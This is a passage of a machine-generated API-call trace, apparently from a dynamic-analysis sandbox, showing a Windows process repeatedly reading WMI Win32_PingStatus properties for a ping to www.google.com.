wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245add0*=0, plFlavor=0x245add4*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x245add0*=3, plFlavor=0x245add4*=64) returned 0x0 [0138.689] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ae04*=0, plFlavor=0x245ae08*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x245ae04*=8200, plFlavor=0x245ae08*=64) returned 0x0 [0138.690] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ae38*=0, plFlavor=0x245ae3c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x245ae38*=8, plFlavor=0x245ae3c*=64) returned 0x0 [0138.690] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.690] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.690] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ae84*=0, plFlavor=0x245ae88*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x245ae84*=8, plFlavor=0x245ae88*=64) returned 0x0 [0138.690] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.690] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.690] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245aed0*=0, plFlavor=0x245aed4*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245aed0*=8, plFlavor=0x245aed4*=64) returned 0x0 [0138.690] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.690] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0138.690] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0138.690] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.690] IWbemClassObject:Get (in: This=0x507f00, wszName="ResponseTime", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b108*=0, plFlavor=0x245b10c*=0 | out: pVal=0x59ee898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), pType=0x245b108*=19, plFlavor=0x245b10c*=0) returned 0x0 [0138.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0138.691] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0138.691] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0138.691] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0138.691] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.691] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0138.691] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.691] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.691] SafeArrayGetLBound (in: psa=0x4f3e390, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0138.691] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.691] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.691] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.691] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.691] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.692] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.692] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.692] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.692] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.692] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.692] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.692] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.692] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.692] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.692] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.692] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.692] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.692] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.692] SysStringByteLen (bstr="__PATH") returned 0xc [0138.692] SysStringByteLen (bstr="__PATH") returned 0xc [0138.692] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b4bc*=0, plFlavor=0x245b4c0*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x245b4bc*=3, plFlavor=0x245b4c0*=64) returned 0x0 [0138.692] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b4f0*=0, plFlavor=0x245b4f4*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245b4f0*=8, plFlavor=0x245b4f4*=64) returned 0x0 [0138.693] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.693] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.693] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b548*=0, plFlavor=0x245b54c*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b548*=8, plFlavor=0x245b54c*=64) returned 0x0 [0138.693] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b570*=0, plFlavor=0x245b574*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245b570*=8, plFlavor=0x245b574*=64) returned 0x0 [0138.693] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.693] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.693] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b5c8*=0, plFlavor=0x245b5cc*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245b5c8*=8, plFlavor=0x245b5cc*=64) returned 0x0 [0138.693] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.693] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.693] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b7a4*=0, plFlavor=0x245b7a8*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x245b7a4*=3, plFlavor=0x245b7a8*=64) returned 0x0 [0138.694] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b7d8*=0, plFlavor=0x245b7dc*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x245b7d8*=8200, plFlavor=0x245b7dc*=64) returned 0x0 [0138.694] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b80c*=0, plFlavor=0x245b810*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x245b80c*=8, plFlavor=0x245b810*=64) returned 0x0 [0138.694] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.694] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.694] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b858*=0, plFlavor=0x245b85c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x245b858*=8, plFlavor=0x245b85c*=64) returned 0x0 [0138.694] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.694] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.694] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245b8a4*=0, plFlavor=0x245b8a8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245b8a4*=8, plFlavor=0x245b8a8*=64) returned 0x0 [0138.694] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.694] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.694] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0138.695] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0138.695] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.695] IWbemClassObject:Get (in: This=0x507f00, wszName="ResponseTime", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245badc*=0, plFlavor=0x245bae0*=0 | out: pVal=0x59ee8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), pType=0x245badc*=19, plFlavor=0x245bae0*=0) returned 0x0 [0138.695] IWbemClassObject:Get (in: This=0x507f00, wszName="ResponseTime", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245badc*=19, plFlavor=0x245bae0*=0 | out: pVal=0x59ee980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), pType=0x245badc*=19, plFlavor=0x245bae0*=0) returned 0x0 [0138.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.695] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.695] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.695] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.696] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.696] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0138.696] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.696] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.696] SafeArrayGetLBound (in: psa=0x4f3e3c0, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0138.696] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.696] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.696] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.696] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.696] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.696] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.696] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.696] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.696] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.696] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.696] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.696] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.696] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.696] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.697] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.697] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.697] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.697] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.697] SysStringByteLen (bstr="__PATH") returned 0xc [0138.697] SysStringByteLen (bstr="__PATH") returned 0xc [0138.697] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245bf88*=0, plFlavor=0x245bf8c*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x245bf88*=3, plFlavor=0x245bf8c*=64) returned 0x0 [0138.697] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245bfbc*=0, plFlavor=0x245bfc0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245bfbc*=8, plFlavor=0x245bfc0*=64) returned 0x0 [0138.697] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.697] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.697] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c014*=0, plFlavor=0x245c018*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c014*=8, plFlavor=0x245c018*=64) returned 0x0 [0138.697] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c03c*=0, plFlavor=0x245c040*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245c03c*=8, plFlavor=0x245c040*=64) returned 0x0 [0138.698] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.698] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.698] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c094*=0, plFlavor=0x245c098*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245c094*=8, plFlavor=0x245c098*=64) returned 0x0 [0138.698] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.698] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.698] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c270*=0, plFlavor=0x245c274*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x245c270*=3, plFlavor=0x245c274*=64) returned 0x0 [0138.698] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c2a4*=0, plFlavor=0x245c2a8*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x245c2a4*=8200, plFlavor=0x245c2a8*=64) returned 0x0 [0138.698] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c2d8*=0, plFlavor=0x245c2dc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x245c2d8*=8, plFlavor=0x245c2dc*=64) returned 0x0 [0138.699] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.699] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.699] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c324*=0, plFlavor=0x245c328*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x245c324*=8, plFlavor=0x245c328*=64) returned 0x0 [0138.699] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.699] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.699] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c370*=0, plFlavor=0x245c374*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245c370*=8, plFlavor=0x245c374*=64) returned 0x0 [0138.699] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.699] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.699] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0138.699] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0138.699] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.699] IWbemClassObject:Get (in: This=0x507f00, wszName="WriteErrorStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c5b4*=0, plFlavor=0x245c5b8*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c5b4*=0, plFlavor=0x245c5b8*=0) returned 0x80041002 [0138.700] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0138.701] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 